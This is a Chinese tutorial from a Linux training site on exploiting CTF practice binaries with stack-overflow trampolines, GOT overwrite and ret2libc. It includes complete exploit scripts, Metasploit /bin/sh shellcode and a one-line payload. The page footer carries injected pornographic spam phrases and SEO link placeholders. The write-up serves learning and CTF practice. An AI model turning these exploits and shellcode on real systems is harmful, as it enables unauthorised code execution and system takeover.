1. <wbr id="cnjas"><legend id="cnjas"></legend></wbr>

          Linux培訓
          達內IT學院

          400-111-8989

          linux常見漏洞利用技術實踐

          • 發布:Linux培訓
          • 來源:網絡
          • 時間:2015-07-03 19:24

          0x01 前言

          1.1 目的

          1.1.1 寫這篇文章一是總結一下前段時間所學的東西,二是給pwn還沒入門的同學一些幫助,畢竟自己學的時候還是遇到不少困難 以下都是我的實際操作,寫的比較詳細,包含了我自己的一些經驗,歡迎大家指點.

          1.1.2 內容包含利用跳板劫持流程,GOT覆寫 ,ret2libc等技術

          1.2 預備

          1.2.1工具

          1.2.1.1 ida

          反匯編神器,下載地址down.52pojie.cn

          1.2.1.2 gdb

          動態調試工具,ubuntu自帶,但是自帶高版本無法裝peda插件.google 搜索downgrade gdb,重新安裝低版本gdb即可

          1.2.1.3 pwntools和zio

          兩者均是用python開發的exp編寫工具,同時方便了遠程exp和本地exp的轉換 sudo pip install pwntool / sudo pip install zio即可安裝

          1.2.1.4 peda

          gdb的一個插件,github上可以下載,增加了很多方便的功能

          1.2.2 預備知識

          1.2.2.1 強烈的興趣

          1.2.2.2 知道簡單的c代碼怎樣和匯編對應

          0x02 常見漏洞利用技術

          2.1 利用跳板覆蓋返回地址

          2.1.1 使用范圍

          當系統打開ASLR(基本都打開了)時,使用硬編碼地址的話,就無法成功利用漏洞.在這種情況下就可以使用這種技術.程序必須關閉NX

          2.1.2 原理

          當函數執行完,彈出了返回地址,rsp往往指向(返回地址+8),我們將shellcode放在此處就可以讓程序執行,注意跳板不一定是rsp

          2.1.3 實踐

          在這兒用的程序是來自重慶郵電大學舉辦的cctf2015中pwn的第一題,感謝tracy_子鵬學長(程序見附件),運行環境64位linux

          1 拿到程序第一件事就是先運行一下,熟悉要分析的東西(這一點不光是pwn,不管是re還是滲透,先對于目標有個直觀了解都是很重要的事)

          程序很簡單,就是一個簡單的接受輸入

          2 打開ida,,可以看到程序非常的簡單

          int __cdecl main(int argc, const char **argv, const char **envp)
          {
          __int64 v3; // rdx@1
          char v5; // [sp+0h] [bp-1020h]@1
          char v6; // [sp+1000h] [bp-20h]@1
          int v7; // [sp+101Ch] [bp-4h]@1
          
          setbuf(stdin, 0LL, envp);
          setbuf(stdout, 0LL, v3);
          puts(0x4938E4LL);
          v7 = read(0LL, &v5, 4096LL);
          return memcpy(&v6, &v5, v7);
          }

          入的數據最終會復制到[bp-20h],而且沒有長度限制,肯定就是有棧溢出漏洞

          3 接下來我們檢查一下程序打開了哪些保護措施

          gdb pwn1
          checksec

          可以看到程序沒有沒有打開任何保護措施,現在唯一需要解決的就是系統自帶的ASLR,(注意,使用gdb調試時,每次看到的棧地址可能是不變的,這并不代表系統沒有打開ASLR,gdb調試時會自動關閉ASLR)

          4 接下來是定位返回地址

          前面看到了我們輸入的數據最終會復制到[bp-20h],我們先嘗試輸入40個數據,用python生成40個數據

          gdb pwn1
          r           //運行程序

          復制生成的輸入進去

          看到棧上沒有成功覆蓋發揮地址

          再次使用八十字節

          可以看出從第四十個字節開始的八個字節就會覆蓋返回地址

          5 寫exp

          首先我們需要一個shellcode,這可以通過msf生成 生成命令如下

          show payload  
          use linux/x64/exec
          set cmd /bin/sh
          generate -t py -b "/x00"
          
          即可得到shellcode
          
          # linux/x64/exec - 87 bytes
          # http://www.metasploit.com
          # Encoder: x64/xor
          # VERBOSE=false, PrependFork=false, PrependSetresuid=false,
          # PrependSetreuid=false, PrependSetuid=false,
          # PrependSetresgid=false, PrependSetregid=false,
          # PrependSetgid=false, PrependChrootBreak=false,
          # AppendExit=false, CMD=/bin/sh
          buf =  ""
          buf += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
          buf += "\xef\xff\xff\xff\x48\xbb\xab\xb5\xd9\xba\x45\x0a\xfd"
          buf += "\x44\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
          buf += "\xc1\x8e\x81\x23\x0d\xb1\xd2\x26\xc2\xdb\xf6\xc9\x2d"
          buf += "\x0a\xae\x0c\x22\x52\xb1\x97\x26\x0a\xfd\x0c\x22\x53"
          buf += "\x8b\x52\x4d\x0a\xfd\x44\x84\xd7\xb0\xd4\x6a\x79\x95"
          buf += "\x44\xfd\xe2\x91\x33\xa3\x05\xf8\x44"

          然后我們還需要一個跳板作為返回地址 peda就有這種功能

          jmpcall rsp

          我們就采用第一個地址, 注意64位系統,和little endian

          然后我們使用zio寫exp

          from zio import *
          
          io = zio('./pwn1')
          # io = zio(('127.0.0.1', 1234))
          
          io.read_until('overflow!')
          
          pad = 'a' * 40
          
          # 0x 43 68 7d : call rsp
          jmpAddr = '\x7d\x68\x43\x00\x00\x00\x00\x00'
          
          shellcode =  ""
          shellcode += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
          shellcode += "\xef\xff\xff\xff\x48\xbb\xab\xb5\xd9\xba\x45\x0a\xfd"
          shellcode += "\x44\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
          shellcode += "\xc1\x8e\x81\x23\x0d\xb1\xd2\x26\xc2\xdb\xf6\xc9\x2d"
          shellcode += "\x0a\xae\x0c\x22\x52\xb1\x97\x26\x0a\xfd\x0c\x22\x53"
          shellcode += "\x8b\x52\x4d\x0a\xfd\x44\x84\xd7\xb0\xd4\x6a\x79\x95"
          shellcode += "\x44\xfd\xe2\x91\x33\xa3\x05\xf8\x44"
          
          io.write(pad + jmpAddr + shellcode)
          
          io.interact()

          python pwn1.py運行即可看到

          已拿到shell

          2.2 GOT覆寫

          2.2.1 使用范圍

          剛才我們是通過棧溢出漏洞攻擊函數的返回地址,但是現在對于棧溢出,已經有很多保護,例如canary(與windows下的GS技術類似).同時現在更常見的是指針覆蓋漏洞,在這種情況下我們擁有一次修改任意內存的機會,在這時我們采用的往往就是GOT覆寫技術.

          2.2.2 原理

          GOT是全局偏移表,類似于windows中PE結構的IAT,只不過windows中IAT中的函數地址是寫保護的,沒辦法利用,但是GOT是可寫的,我們可以將其中的函數地址覆蓋為我們的shellcode地址,在程序后面調用這個函數時就會調用我們的shellcode了

          2.2.3 實踐

          在這兒我用的實驗程序來自panable.kr中的passcode,比較簡單,源碼如下

          #include <stdio.h>
          #include <stdlib.h>
          
          void login(){
           int passcode1;
           int passcode2;
          
           printf("enter passcode1 : ");
           scanf("%d", passcode1);
           fflush(stdin);
          
           // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
           printf("enter passcode2 : ");
               scanf("%d", passcode2);
          
           printf("checking...\n");
           if(passcode1==338150 && passcode2==13371337){
                       printf("Login OK!\n");
                       system("/bin/cat flag");
               }
               else{
                       printf("Login Failed!\n");
               exit(0);
               }
          }
          
          void welcome(){
           char name[100];
           printf("enter you name : ");
           scanf("%100s", name);
           printf("Welcome %s!\n", name);
          }
          
          int main(){
           printf("Toddler's Secure Login System 1.0 beta.\n");
          
           welcome();
           login();
          
           // something after login...
           printf("Now I can safely trust you that you have credential :)\n");
           return 0;  
          }

          編譯后的程序見附件,32位 linux

          感覺銳銳_z的指點

          1 分析程序可知,scanf時,沒有用取地址符,會使用棧上的數據作為指針存放輸入的數據,而我們第一次輸入的數據就是在棧上,簡單調試可知,在welcome()函數中的name的最后4字節會在login()函數中被用作地址指針

          2 這樣,我們就獲得了修改任意地址數據的一次機會

          3 分析程序可知如果我們用后面調用system()的地址覆蓋了printf()在GOT中的指針,那么在第二次login()中第二次調用printf()時就會直接去調用system()

          4 現在我們需要知道兩個東西,一是GOT中printf()的地址,二是程序中調用system()的地址

          objdump -R passcode

          即可獲得printf()在的地址0804a000這是攻擊目標,

          然后打開gdb,運行到調用system()的地方,為什么我們可以直接使用這個地址呢,因為linux下面的程序默認沒有隨機化code段,

          要寫入的值即為 0x080485e3

          5 最后得到

          python -c "print('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode

          134514147即為0x080485e3

          成功改變了程序流程,讀出flag文件的內容,注意這里需要你新建一個名叫flag的文件

          2.3 ret2libc技術

          2.3.1 使用范圍

          當系統打開DEP時,我們不能自己直接在棧上放shellcode,就使用幾乎每個linux系統都會自帶的libc中的代碼.

          2.3.2 原理

          一種常見的利用方式是用libc中的system()的地址覆蓋返回地址,同時在棧上布置好的參數,程序返回時就會產生一個shell

          2.3.3 實踐

          在這兒用的程序是強網杯的urldecoder(程序見附件),再次感謝tracy_子鵬學長指點

          這道題同時開了ASLR和DEP.,運行環境為32位linux

          分析程序后發現,前面讀入數據時,只有遇到換行和EOF才會結束,但是后面檢查字符串長度是用的strlen,于是可以通過在字符串中加入\x00來繞過長度檢查

          繼續分析程序流程,發現,當輸入為%1\x00時就可以成功覆蓋返回地址

          接下來就考慮利用漏洞的方法

          觀察到溢出后,程序會多輸出一些棧上的數據出來,想到可以利用輸出出來的一些數據定位libc加載的基址,然后將返回地址覆蓋為前面讀入數據的代碼地址,再讀一次數據,再溢出一次,這一次執行到返回時,就執行libc中的system函數

          題目提供了libc,可以計算其中各函數的偏移,找到libc中system函數和/bin/sh字符串的地址,同時在棧上布置好參數,即可成功利用

          下面附上exp及解釋

          from pwn import *
          from zio import *
          
          context(arch = 'i386', os = 'linux')
          
          #注意此處ELF()的用處是后面計算偏移,你運行程序時還是用的當前系統的libc
          #libc = ELF('./libc.so.6.i386')
          libc = ELF('/lib/i386-linux-gnu/i686/cmov/libc.so.6')
          
          #p = remote('119.254.101.197', 10001)
          p = process('./urldecoder')
          
          #第一次輸入,獲取libc中的地址信息
          ret_addr = '\x90\x85\x04\x08'
          payload = "http://baidu.com//%1" + "\x00" + "a"*137 + ret_addr
          
          p.recvuntil("URL:")
          p.send(payload + '\n')
          
          data = p.recvuntil("URL:")
          base_addr = data[196:200]
          
          printf_addr = l32(base_addr) - 0x117474
          
          offset = libc.symbols['printf'] - libc.symbols['system']
          system_addr = printf_addr - offset
          
          binsh_offset = next(libc.search('/bin/sh')) - libc.symbols['printf']
          binsh_addr = binsh_offset + printf_addr
          
          #第二次輸入
          ret_addr = '\x12\x12\x12\x12'
          payload = "http://baidu.com//%1" + "\x00" +  "a"*137 + l32(system_addr) + ret_addr +  l32(binsh_addr)
          
          p.send(payload + '\n')
          p.interactive()
          run
          
          
          python url.py

          #注意此處ELF()的用處是后面計算偏移,你運行程序時還是用的當前系統的libc

          "成功利用

          從中也可以看到,對于同時開了ASLR和DEP的程序,利用的難度確實高了不少

          預約申請免費試聽課

          填寫下面表單即可預約申請免費試聽!怕錢不夠?可就業掙錢后再付學費! 怕學不會?助教全程陪讀,隨時解惑!擔心就業?一地學習,可全國推薦就業!

          上一篇:Linux操作系統鮮為人知的12大用途
          下一篇:為什么千萬不要重寫代碼?
          • 掃碼領取資料

            回復關鍵字:視頻資料

            免費領取 達內課程視頻學習資料

          • 視頻學習QQ群

            添加QQ群:1143617948

            免費領取達內課程視頻學習資料

          Copyright ? 2021 Tedu.cn All Rights Reserved 京ICP備08000853號-56 京公網安備 11010802029508號 達內時代科技集團有限公司 版權所有

          選擇城市和中心
          黑龍江省

          吉林省

          河北省

          湖南省

          貴州省

          云南省

          廣西省

          海南省

          欧美做爰视频免费播放_做暖全过程免费的视频_性爱免费视频 百度 好搜 搜狗
          <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <蜘蛛词>| <文本链> <文本链> <文本链> <文本链> <文本链> <文本链>